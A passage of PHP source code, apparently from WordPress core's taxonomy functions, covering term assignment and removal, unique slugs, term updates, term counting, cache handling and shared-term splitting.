wp_cache_delete( 'last_changed', 'terms' ); /** * Fires after an object's terms have been set. * * @since 2.8.0 * * @param int $object_id Object ID. * @param array $terms An array of object terms. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. * @param bool $append Whether to append new terms to the old terms. * @param array $old_tt_ids Old array of term taxonomy IDs. */ do_action( 'set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids ); return $tt_ids; } /** * Add term(s) associated with a given object. * * @since 3.6.0 * * @param int $object_id The ID of the object to which the terms will be added. * @param array|int|string $terms The slug(s) or ID(s) of the term(s) to add. * @param array|string $taxonomy Taxonomy name. * @return array|WP_Error Term taxonomy IDs of the affected terms. */ function wp_add_object_terms( $object_id, $terms, $taxonomy ) { return wp_set_object_terms( $object_id, $terms, $taxonomy, true ); } /** * Remove term(s) associated with a given object. * * @since 3.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $object_id The ID of the object from which the terms will be removed. * @param array|int|string $terms The slug(s) or ID(s) of the term(s) to remove. * @param array|string $taxonomy Taxonomy name. * @return bool|WP_Error True on success, false or WP_Error on failure. */ function wp_remove_object_terms( $object_id, $terms, $taxonomy ) { global $wpdb; $object_id = (int) $object_id; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( ! is_array( $terms ) ) { $terms = array( $terms ); } $tt_ids = array(); foreach ( (array) $terms as $term ) { if ( ! strlen( trim( $term ) ) ) { continue; } if ( ! $term_info = term_exists( $term, $taxonomy ) ) { // Skip if a non-existent term ID is passed. if ( is_int( $term ) ) { continue; } } if ( is_wp_error( $term_info ) ) { return $term_info; } $tt_ids[] = $term_info['term_taxonomy_id']; } if ( $tt_ids ) { $in_tt_ids = "'" . implode( "', '", $tt_ids ) . "'"; /** * Fires immediately before an object-term relationship is deleted. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. */ do_action( 'delete_term_relationships', $object_id, $tt_ids, $taxonomy ); $deleted = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id ) ); wp_cache_delete( $object_id, $taxonomy . '_relationships' ); wp_cache_delete( 'last_changed', 'terms' ); /** * Fires immediately after an object-term relationship is deleted. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param array $tt_ids An array of term taxonomy IDs. * @param string $taxonomy Taxonomy slug. */ do_action( 'deleted_term_relationships', $object_id, $tt_ids, $taxonomy ); wp_update_term_count( $tt_ids, $taxonomy ); return (bool) $deleted; } return false; } /** * Will make slug unique, if it isn't already. * * The `$slug` has to be unique global to every taxonomy, meaning that one * taxonomy term can't have a matching slug with another taxonomy term. Each * slug has to be globally unique for every taxonomy. * * The way this works is that if the taxonomy that the term belongs to is * hierarchical and has a parent, it will append that parent to the $slug. * * If that still doesn't return an unique slug, then it try to append a number * until it finds a number that is truly unique. * * The only purpose for `$term` is for appending a parent, if one exists. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $slug The string that will be tried for a unique slug. * @param object $term The term object that the `$slug` will belong to. * @return string Will return a true unique slug. */ function wp_unique_term_slug( $slug, $term ) { global $wpdb; $needs_suffix = true; $original_slug = $slug; // As of 4.1, duplicate slugs are allowed as long as they're in different taxonomies. if ( ! term_exists( $slug ) || get_option( 'db_version' ) >= 30133 && ! get_term_by( 'slug', $slug, $term->taxonomy ) ) { $needs_suffix = false; } /* * If the taxonomy supports hierarchy and the term has a parent, make the slug unique * by incorporating parent slugs. */ $parent_suffix = ''; if ( $needs_suffix && is_taxonomy_hierarchical( $term->taxonomy ) && ! empty( $term->parent ) ) { $the_parent = $term->parent; while ( ! empty($the_parent) ) { $parent_term = get_term($the_parent, $term->taxonomy); if ( is_wp_error($parent_term) || empty($parent_term) ) break; $parent_suffix .= '-' . $parent_term->slug; if ( ! term_exists( $slug . $parent_suffix ) ) { break; } if ( empty($parent_term->parent) ) break; $the_parent = $parent_term->parent; } } // If we didn't get a unique slug, try appending a number to make it unique. /** * Filters whether the proposed unique term slug is bad. * * @since 4.3.0 * * @param bool $needs_suffix Whether the slug needs to be made unique with a suffix. * @param string $slug The slug. * @param object $term Term object. */ if ( apply_filters( 'wp_unique_term_slug_is_bad_slug', $needs_suffix, $slug, $term ) ) { if ( $parent_suffix ) { $slug .= $parent_suffix; } else { if ( ! empty( $term->term_id ) ) $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $term->term_id ); else $query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug ); if ( $wpdb->get_var( $query ) ) { $num = 2; do { $alt_slug = $slug . "-$num"; $num++; $slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) ); } while ( $slug_check ); $slug = $alt_slug; } } } /** * Filters the unique term slug. * * @since 4.3.0 * * @param string $slug Unique term slug. * @param object $term Term object. * @param string $original_slug Slug originally passed to the function for testing. */ return apply_filters( 'wp_unique_term_slug', $slug, $term, $original_slug ); } /** * Update term based on arguments provided. * * The $args will indiscriminately override all values with the same field name. * Care must be taken to not override important information need to update or * update will fail (or perhaps create a new term, neither would be acceptable). * * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not * defined in $args already. * * 'alias_of' will create a term group, if it doesn't already exist, and update * it for the $term. * * If the 'slug' argument in $args is missing, then the 'name' in $args will be * used. It should also be noted that if you set 'slug' and it isn't unique then * a WP_Error will be passed back. If you don't pass any slug, then a unique one * will be created for you. * * For what can be overrode in `$args`, check the term scheme can contain and stay * away from the term keys. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id The ID of the term * @param string $taxonomy The context in which to relate the term to the object. * @param array|string $args Optional. Array of get_terms() arguments. Default empty array. * @return array|WP_Error Returns Term ID and Taxonomy Term ID */ function wp_update_term( $term_id, $taxonomy, $args = array() ) { global $wpdb; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } $term_id = (int) $term_id; // First, get all of the original args $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( ! $term ) { return new WP_Error( 'invalid_term', __( 'Empty Term' ) ); } $term = (array) $term->data; // Escape data pulled from DB. $term = wp_slash( $term ); // Merge old and new args with new args overwriting old ones. $args = array_merge($term, $args); $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => ''); $args = wp_parse_args($args, $defaults); $args = sanitize_term($args, $taxonomy, 'db'); $parsed_args = $args; // expected_slashed ($name) $name = wp_unslash( $args['name'] ); $description = wp_unslash( $args['description'] ); $parsed_args['name'] = $name; $parsed_args['description'] = $description; if ( '' == trim( $name ) ) { return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) ); } if ( $parsed_args['parent'] > 0 && ! term_exists( (int) $parsed_args['parent'] ) ) { return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) ); } $empty_slug = false; if ( empty( $args['slug'] ) ) { $empty_slug = true; $slug = sanitize_title($name); } else { $slug = $args['slug']; } $parsed_args['slug'] = $slug; $term_group = isset( $parsed_args['term_group'] ) ? $parsed_args['term_group'] : 0; if ( $args['alias_of'] ) { $alias = get_term_by( 'slug', $args['alias_of'], $taxonomy ); if ( ! empty( $alias->term_group ) ) { // The alias we want is already in a group, so let's use that one. $term_group = $alias->term_group; } elseif ( ! empty( $alias->term_id ) ) { /* * The alias is not in a group, so we create a new one * and add the alias to it. */ $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1; wp_update_term( $alias->term_id, $taxonomy, array( 'term_group' => $term_group, ) ); } $parsed_args['term_group'] = $term_group; } /** * Filters the term parent. * * Hook to this filter to see if it will cause a hierarchy loop. * * @since 3.1.0 * * @param int $parent ID of the parent term. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $parsed_args An array of potentially altered update arguments for the given term. * @param array $args An array of update arguments for the given term. */ $parent = apply_filters( 'wp_update_term_parent', $args['parent'], $term_id, $taxonomy, $parsed_args, $args ); // Check for duplicate slug $duplicate = get_term_by( 'slug', $slug, $taxonomy ); if ( $duplicate && $duplicate->term_id != $term_id ) { // If an empty slug was passed or the parent changed, reset the slug to something unique. // Otherwise, bail. if ( $empty_slug || ( $parent != $term['parent']) ) { $slug = wp_unique_term_slug($slug, (object) $args); } else { /* translators: 1: Taxonomy term slug */ return new WP_Error('duplicate_term_slug', sprintf(__('The slug &#8220;%s&#8221; is already in use by another term'), $slug)); } } $tt_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id) ); // Check whether this is a shared term that needs splitting. $_term_id = _split_shared_term( $term_id, $tt_id ); if ( ! is_wp_error( $_term_id ) ) { $term_id = $_term_id; } /** * Fires immediately before the given terms are edited. * * @since 2.9.0 * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'edit_terms', $term_id, $taxonomy ); $data = compact( 'name', 'slug', 'term_group' ); /** * Filters term data before it is updated in the database. * * @since 4.7.0 * * @param array $data Term data to be updated. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_update_term(). */ $data = apply_filters( 'wp_update_term_data', $data, $term_id, $taxonomy, $args ); $wpdb->update( $wpdb->terms, $data, compact( 'term_id' ) ); if ( empty($slug) ) { $slug = sanitize_title($name, $term_id); $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); } /** * Fires immediately after the given terms are edited. * * @since 2.9.0 * * @param int $term_id Term ID * @param string $taxonomy Taxonomy slug. */ do_action( 'edited_terms', $term_id, $taxonomy ); /** * Fires immediate before a term-taxonomy relationship is updated. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'edit_term_taxonomy', $tt_id, $taxonomy ); $wpdb->update( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent' ), array( 'term_taxonomy_id' => $tt_id ) ); /** * Fires immediately after a term-taxonomy relationship is updated. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'edited_term_taxonomy', $tt_id, $taxonomy ); /** * Fires after a term has been updated, but before the term cache has been cleaned. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( "edit_term", $term_id, $tt_id, $taxonomy ); /** * Fires after a term in a specific taxonomy has been updated, but before the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. */ do_action( "edit_{$taxonomy}", $term_id, $tt_id ); /** This filter is documented in wp-includes/taxonomy.php */ $term_id = apply_filters( 'term_id_filter', $term_id, $tt_id ); clean_term_cache($term_id, $taxonomy); /** * Fires after a term has been updated, and the term cache has been cleaned. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( "edited_term", $term_id, $tt_id, $taxonomy ); /** * Fires after a term for a specific taxonomy has been updated, and the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. */ do_action( "edited_{$taxonomy}", $term_id, $tt_id ); return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); } /** * Enable or disable term counting. * * @since 2.5.0 * * @staticvar bool $_defer * * @param bool $defer Optional. Enable if true, disable if false. * @return bool Whether term counting is enabled or disabled. */ function wp_defer_term_counting($defer=null) { static $_defer = false; if ( is_bool($defer) ) { $_defer = $defer; // flush any deferred counts if ( !$defer ) wp_update_term_count( null, null, true ); } return $_defer; } /** * Updates the amount of terms in taxonomy. * * If there is a taxonomy callback applied, then it will be called for updating * the count. * * The default action is to count what the amount of terms have the relationship * of term ID. Once that is done, then update the database. * * @since 2.3.0 * * @staticvar array $_deferred * * @param int|array $terms The term_taxonomy_id of the terms. * @param string $taxonomy The context of the term. * @param bool $do_deferred Whether to flush the deferred term counts too. Default false. * @return bool If no terms will return false, and if successful will return true. */ function wp_update_term_count( $terms, $taxonomy, $do_deferred = false ) { static $_deferred = array(); if ( $do_deferred ) { foreach ( (array) array_keys($_deferred) as $tax ) { wp_update_term_count_now( $_deferred[$tax], $tax ); unset( $_deferred[$tax] ); } } if ( empty($terms) ) return false; if ( !is_array($terms) ) $terms = array($terms); if ( wp_defer_term_counting() ) { if ( !isset($_deferred[$taxonomy]) ) $_deferred[$taxonomy] = array(); $_deferred[$taxonomy] = array_unique( array_merge($_deferred[$taxonomy], $terms) ); return true; } return wp_update_term_count_now( $terms, $taxonomy ); } /** * Perform term count update immediately. * * @since 2.5.0 * * @param array $terms The term_taxonomy_id of terms to update. * @param string $taxonomy The context of the term. * @return true Always true when complete. */ function wp_update_term_count_now( $terms, $taxonomy ) { $terms = array_map('intval', $terms); $taxonomy = get_taxonomy($taxonomy); if ( !empty($taxonomy->update_count_callback) ) { call_user_func($taxonomy->update_count_callback, $terms, $taxonomy); } else { $object_types = (array) $taxonomy->object_type; foreach ( $object_types as &$object_type ) { if ( 0 === strpos( $object_type, 'attachment:' ) ) list( $object_type ) = explode( ':', $object_type ); } if ( $object_types == array_filter( $object_types, 'post_type_exists' ) ) { // Only post types are attached to this taxonomy _update_post_term_count( $terms, $taxonomy ); } else { // Default count updater _update_generic_term_count( $terms, $taxonomy ); } } clean_term_cache($terms, '', false); return true; } // // Cache // /** * Removes the taxonomy relationship to terms from the cache. * * Will remove the entire taxonomy relationship containing term `$object_id`. The * term IDs have to exist within the taxonomy `$object_type` for the deletion to * take place. * * @since 2.3.0 * * @global bool $_wp_suspend_cache_invalidation * * @see get_object_taxonomies() for more on $object_type. * * @param int|array $object_ids Single or list of term object ID(s). * @param array|string $object_type The taxonomy object type. */ function clean_object_term_cache($object_ids, $object_type) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( !is_array($object_ids) ) $object_ids = array($object_ids); $taxonomies = get_object_taxonomies( $object_type ); foreach ( $object_ids as $id ) { foreach ( $taxonomies as $taxonomy ) { wp_cache_delete($id, "{$taxonomy}_relationships"); } } /** * Fires after the object term cache has been cleaned. * * @since 2.5.0 * * @param array $object_ids An array of object IDs. * @param string $objet_type Object type. */ do_action( 'clean_object_term_cache', $object_ids, $object_type ); } /** * Will remove all of the term ids from the cache. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global bool $_wp_suspend_cache_invalidation * * @param int|array $ids Single or list of Term IDs. * @param string $taxonomy Optional. Can be empty and will assume `tt_ids`, else will use for context. * Default empty. * @param bool $clean_taxonomy Optional. Whether to clean taxonomy wide caches (true), or just individual * term object caches (false). Default true. */ function clean_term_cache($ids, $taxonomy = '', $clean_taxonomy = true) { global $wpdb, $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( !is_array($ids) ) $ids = array($ids); $taxonomies = array(); // If no taxonomy, assume tt_ids. if ( empty($taxonomy) ) { $tt_ids = array_map('intval', $ids); $tt_ids = implode(', ', $tt_ids); $terms = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)"); $ids = array(); foreach ( (array) $terms as $term ) { $taxonomies[] = $term->taxonomy; $ids[] = $term->term_id; wp_cache_delete( $term->term_id, 'terms' ); } $taxonomies = array_unique($taxonomies); } else { $taxonomies = array($taxonomy); foreach ( $taxonomies as $taxonomy ) { foreach ( $ids as $id ) { wp_cache_delete( $id, 'terms' ); } } } foreach ( $taxonomies as $taxonomy ) { if ( $clean_taxonomy ) { wp_cache_delete('all_ids', $taxonomy); wp_cache_delete('get', $taxonomy); delete_option("{$taxonomy}_children"); // Regenerate {$taxonomy}_children _get_term_hierarchy($taxonomy); } /** * Fires once after each taxonomy's term cache has been cleaned. * * @since 2.5.0 * @since 4.5.0 Added the `$clean_taxonomy` parameter. * * @param array $ids An array of term IDs. * @param string $taxonomy Taxonomy slug. * @param bool $clean_taxonomy Whether or not to clean taxonomy-wide caches */ do_action( 'clean_term_cache', $ids, $taxonomy, $clean_taxonomy ); } wp_cache_set( 'last_changed', microtime(), 'terms' ); } /** * Retrieves the taxonomy relationship to the term object id. * * Upstream functions (like get_the_terms() and is_object_in_term()) are * responsible for populating the object-term relationship cache. The current * function only fetches relationship data that is already in the cache. * * @since 2.3.0 * @since 4.7.0 Returns a WP_Error object if get_term() returns an error for * any of the matched terms. * * @param int $id Term object ID. * @param string $taxonomy Taxonomy name. * @return bool|array|WP_Error Array of `WP_Term` objects, if cached. * False if cache is empty for `$taxonomy` and `$id`. * WP_Error if get_term() returns an error object for any term. */ function get_object_term_cache( $id, $taxonomy ) { $_term_ids = wp_cache_get( $id, "{$taxonomy}_relationships" ); // We leave the priming of relationship caches to upstream functions. if ( false === $_term_ids ) { return false; } // Backward compatibility for if a plugin is putting objects into the cache, rather than IDs. $term_ids = array(); foreach ( $_term_ids as $term_id ) { if ( is_numeric( $term_id ) ) { $term_ids[] = intval( $term_id ); } elseif ( isset( $term_id->term_id ) ) { $term_ids[] = intval( $term_id->term_id ); } } // Fill the term objects. _prime_term_caches( $term_ids ); $terms = array(); foreach ( $term_ids as $term_id ) { $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } $terms[] = $term; } return $terms; } /** * Updates the cache for the given term object ID(s). * * Note: Due to performance concerns, great care should be taken to only update * term caches when necessary. Processing time can increase exponentially depending * on both the number of passed term IDs and the number of taxonomies those terms * belong to. * * Caches will only be updated for terms not already cached. * * @since 2.3.0 * * @param string|array $object_ids Comma-separated list or array of term object IDs. * @param array|string $object_type The taxonomy object type. * @return void|false False if all of the terms in `$object_ids` are already cached. */ function update_object_term_cache($object_ids, $object_type) { if ( empty($object_ids) ) return; if ( !is_array($object_ids) ) $object_ids = explode(',', $object_ids); $object_ids = array_map('intval', $object_ids); $taxonomies = get_object_taxonomies($object_type); $ids = array(); foreach ( (array) $object_ids as $id ) { foreach ( $taxonomies as $taxonomy ) { if ( false === wp_cache_get($id, "{$taxonomy}_relationships") ) { $ids[] = $id; break; } } } if ( empty( $ids ) ) return false; $terms = wp_get_object_terms( $ids, $taxonomies, array( 'fields' => 'all_with_object_id', 'orderby' => 'name', 'update_term_meta_cache' => false, ) ); $object_terms = array(); foreach ( (array) $terms as $term ) { $object_terms[ $term->object_id ][ $term->taxonomy ][] = $term->term_id; } foreach ( $ids as $id ) { foreach ( $taxonomies as $taxonomy ) { if ( ! isset($object_terms[$id][$taxonomy]) ) { if ( !isset($object_terms[$id]) ) $object_terms[$id] = array(); $object_terms[$id][$taxonomy] = array(); } } } foreach ( $object_terms as $id => $value ) { foreach ( $value as $taxonomy => $terms ) { wp_cache_add( $id, $terms, "{$taxonomy}_relationships" ); } } } /** * Updates Terms to Taxonomy in cache. * * @since 2.3.0 * * @param array $terms List of term objects to change. * @param string $taxonomy Optional. Update Term to this taxonomy in cache. Default empty. */ function update_term_cache( $terms, $taxonomy = '' ) { foreach ( (array) $terms as $term ) { // Create a copy in case the array was passed by reference. $_term = clone $term; // Object ID should not be cached. unset( $_term->object_id ); wp_cache_add( $term->term_id, $_term, 'terms' ); } } // // Private // /** * Retrieves children of taxonomy as Term IDs. * * @ignore * @since 2.3.0 * * @param string $taxonomy Taxonomy name. * @return array Empty if $taxonomy isn't hierarchical or returns children as Term IDs. */ function _get_term_hierarchy( $taxonomy ) { if ( !is_taxonomy_hierarchical($taxonomy) ) return array(); $children = get_option("{$taxonomy}_children"); if ( is_array($children) ) return $children; $children = array(); $terms = get_terms($taxonomy, array('get' => 'all', 'orderby' => 'id', 'fields' => 'id=>parent')); foreach ( $terms as $term_id => $parent ) { if ( $parent > 0 ) $children[$parent][] = $term_id; } update_option("{$taxonomy}_children", $children); return $children; } /** * Get the subset of $terms that are descendants of $term_id. * * If `$terms` is an array of objects, then _get_term_children() returns an array of objects. * If `$terms` is an array of IDs, then _get_term_children() returns an array of IDs. * * @access private * @since 2.3.0 * * @param int $term_id The ancestor term: all returned terms should be descendants of `$term_id`. * @param array $terms The set of terms - either an array of term objects or term IDs - from which those that * are descendants of $term_id will be chosen. * @param string $taxonomy The taxonomy which determines the hierarchy of the terms. * @param array $ancestors Optional. Term ancestors that have already been identified. Passed by reference, to keep * track of found terms when recursing the hierarchy. The array of located ancestors is used * to prevent infinite recursion loops. For performance, `term_ids` are used as array keys, * with 1 as value. Default empty array. * @return array|WP_Error The subset of $terms that are descendants of $term_id. */ function _get_term_children( $term_id, $terms, $taxonomy, &$ancestors = array() ) { $empty_array = array(); if ( empty($terms) ) return $empty_array; $term_list = array(); $has_children = _get_term_hierarchy($taxonomy); if ( ( 0 != $term_id ) && ! isset($has_children[$term_id]) ) return $empty_array; // Include the term itself in the ancestors array, so we can properly detect when a loop has occurred. if ( empty( $ancestors ) ) { $ancestors[ $term_id ] = 1; } foreach ( (array) $terms as $term ) { $use_id = false; if ( !is_object($term) ) { $term = get_term($term, $taxonomy); if ( is_wp_error( $term ) ) return $term; $use_id = true; } // Don't recurse if we've already identified the term as a child - this indicates a loop. if ( isset( $ancestors[ $term->term_id ] ) ) { continue; } if ( $term->parent == $term_id ) { if ( $use_id ) $term_list[] = $term->term_id; else $term_list[] = $term; if ( !isset($has_children[$term->term_id]) ) continue; $ancestors[ $term->term_id ] = 1; if ( $children = _get_term_children( $term->term_id, $terms, $taxonomy, $ancestors) ) $term_list = array_merge($term_list, $children); } } return $term_list; } /** * Add count of children to parent count. * * Recalculates term counts by including items from child terms. Assumes all * relevant children are already in the $terms argument. * * @access private * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $terms List of term objects, passed by reference. * @param string $taxonomy Term context. */ function _pad_term_counts( &$terms, $taxonomy ) { global $wpdb; // This function only works for hierarchical taxonomies like post categories. if ( !is_taxonomy_hierarchical( $taxonomy ) ) return; $term_hier = _get_term_hierarchy($taxonomy); if ( empty($term_hier) ) return; $term_items = array(); $terms_by_id = array(); $term_ids = array(); foreach ( (array) $terms as $key => $term ) { $terms_by_id[$term->term_id] = & $terms[$key]; $term_ids[$term->term_taxonomy_id] = $term->term_id; } // Get the object and term ids and stick them in a lookup table. $tax_obj = get_taxonomy($taxonomy); $object_types = esc_sql($tax_obj->object_type); $results = $wpdb->get_results("SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (" . implode(',', array_keys($term_ids)) . ") AND post_type IN ('" . implode("', '", $object_types) . "') AND post_status = 'publish'"); foreach ( $results as $row ) { $id = $term_ids[$row->term_taxonomy_id]; $term_items[$id][$row->object_id] = isset($term_items[$id][$row->object_id]) ? ++$term_items[$id][$row->object_id] : 1; } // Touch every ancestor's lookup row for each post in each term. foreach ( $term_ids as $term_id ) { $child = $term_id; $ancestors = array(); while ( !empty( $terms_by_id[$child] ) && $parent = $terms_by_id[$child]->parent ) { $ancestors[] = $child; if ( !empty( $term_items[$term_id] ) ) foreach ( $term_items[$term_id] as $item_id => $touches ) { $term_items[$parent][$item_id] = isset($term_items[$parent][$item_id]) ? ++$term_items[$parent][$item_id]: 1; } $child = $parent; if ( in_array( $parent, $ancestors ) ) { break; } } } // Transfer the touched cells. foreach ( (array) $term_items as $id => $items ) if ( isset($terms_by_id[$id]) ) $terms_by_id[$id]->count = count($items); } /** * Adds any terms from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $term_ids Array of term IDs. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_term_caches( $term_ids, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $term_ids, 'terms' ); if ( ! empty( $non_cached_ids ) ) { $fresh_terms = $wpdb->get_results( sprintf( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE t.term_id IN (%s)", join( ",", array_map( 'intval', $non_cached_ids ) ) ) ); update_term_cache( $fresh_terms, $update_meta_cache ); if ( $update_meta_cache ) { update_termmeta_cache( $non_cached_ids ); } } } // // Default callbacks // /** * Will update term count based on object types of the current taxonomy. * * Private function for the default callback for post_tag and category * taxonomies. * * @access private * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $terms List of Term taxonomy IDs. * @param object $taxonomy Current taxonomy object of terms. */ function _update_post_term_count( $terms, $taxonomy ) { global $wpdb; $object_types = (array) $taxonomy->object_type; foreach ( $object_types as &$object_type ) list( $object_type ) = explode( ':', $object_type ); $object_types = array_unique( $object_types ); if ( false !== ( $check_attachments = array_search( 'attachment', $object_types ) ) ) { unset( $object_types[ $check_attachments ] ); $check_attachments = true; } if ( $object_types ) $object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) ); foreach ( (array) $terms as $term ) { $count = 0; // Attachments can be 'inherit' status, we need to base count off the parent's status if so. if ( $check_attachments ) $count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts p1 WHERE p1.ID = $wpdb->term_relationships.object_id AND ( post_status = 'publish' OR ( post_status = 'inherit' AND post_parent > 0 AND ( SELECT post_status FROM $wpdb->posts WHERE ID = p1.post_parent ) = 'publish' ) ) AND post_type = 'attachment' AND term_taxonomy_id = %d", $term ) ); if ( $object_types ) $count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('" . implode("', '", $object_types ) . "') AND term_taxonomy_id = %d", $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_term_taxonomy', $term, $taxonomy->name ); $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_term_taxonomy', $term, $taxonomy->name ); } } /** * Will update term count based on number of objects. * * Default callback for the 'link_category' taxonomy. * * @since 3.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $terms List of term taxonomy IDs. * @param object $taxonomy Current taxonomy object of terms. */ function _update_generic_term_count( $terms, $taxonomy ) { global $wpdb; foreach ( (array) $terms as $term ) { $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_term_taxonomy', $term, $taxonomy->name ); $wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_term_taxonomy', $term, $taxonomy->name ); } } /** * Create a new term for a term_taxonomy item that currently shares its term * with another term_taxonomy. * * @ignore * @since 4.2.0 * @since 4.3.0 Introduced `$record` parameter. Also, `$term_id` and * `$term_taxonomy_id` can now accept objects. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|object $term_id ID of the shared term, or the shared term object. * @param int|object $term_taxonomy_id ID of the term_taxonomy item to receive a new term, or the term_taxonomy object * (corresponding to a row from the term_taxonomy table). * @param bool $record Whether to record data about the split term in the options table. The recording * process has the potential to be resource-intensive, so during batch operations * it can be beneficial to skip inline recording and do it just once, after the * batch is processed. Only set this to `false` if you know what you are doing. * Default: true. * @return int|WP_Error When the current term does not need to be split (or cannot be split on the current * database schema), `$term_id` is returned. When the term is successfully split, the * new term_id is returned. A WP_Error is returned for miscellaneous errors. */ function _split_shared_term( $term_id, $term_taxonomy_id, $record = true ) { global $wpdb; if ( is_object( $term_id ) ) { $shared_term = $term_id; $term_id = intval( $shared_term->term_id ); } if ( is_object( $term_taxonomy_id ) ) { $term_taxonomy = $term_taxonomy_id; $term_taxonomy_id = intval( $term_taxonomy->term_taxonomy_id ); } // If there are no shared term_taxonomy rows, there's nothing to do here. $shared_tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy tt WHERE tt.term_id = %d AND tt.term_taxonomy_id != %d", $term_id, $term_taxonomy_id ) ); if ( ! $shared_tt_count ) { return $term_id; } /* * Verify that the term_taxonomy_id passed to the function is actually associated with the term_id. * If there's a mismatch, it may mean that the term is already split. Return the actual term_id from the db. */ $check_term_id = $wpdb->get_var( $wpdb->prepare( "SELECT term_id FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) ); if ( $check_term_id != $term_id ) { return $check_term_id; } // Pull up data about the currently shared slug, which we'll use to populate the new one. if ( empty( $shared_term ) ) { $shared_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.* FROM $wpdb->terms t WHERE t.term_id = %d", $term_id ) ); } $new_term_data = array( 'name' => $shared_term->name, 'slug' => $shared_term->slug, 'term_group' => $shared_term->term_group, ); if ( false === $wpdb->insert( 